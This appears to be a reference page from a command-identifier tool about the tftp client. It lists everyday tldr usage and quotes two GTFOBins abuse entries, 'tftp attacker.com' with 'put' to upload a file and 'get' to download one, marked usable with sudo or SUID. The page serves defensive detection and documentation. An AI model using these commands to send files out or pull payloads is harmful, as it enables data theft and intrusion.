Identifier / Programs / Linux and Unix
tftp
Trivial File Transfer Protocol client. tldr-pages
GTFOBins download, upload 2 documented commands
How tftp is abused
download
upload
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for tftp.
2 documented commands
download unprivileged, with sudo, as SUID
tftp attacker.com
get /path/to/input-fileIdentifyupload unprivileged, with sudo, as SUID
tftp attacker.com
put /path/to/input-fileIdentifyNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for tftp. The identifier reads the line of each that runs tftp.
Everyday use
Connect to a TFTP server with an interactive shell, specifying its IP address and port
tftp server_ip portIdentifyConnect to a TFTP server and execute a TFTP command
tftp server_ip -c commandIdentifyConnect to a TFTP server using IPv6 and force originating port to be in Range
tftp server_ip -6 -R port:portIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.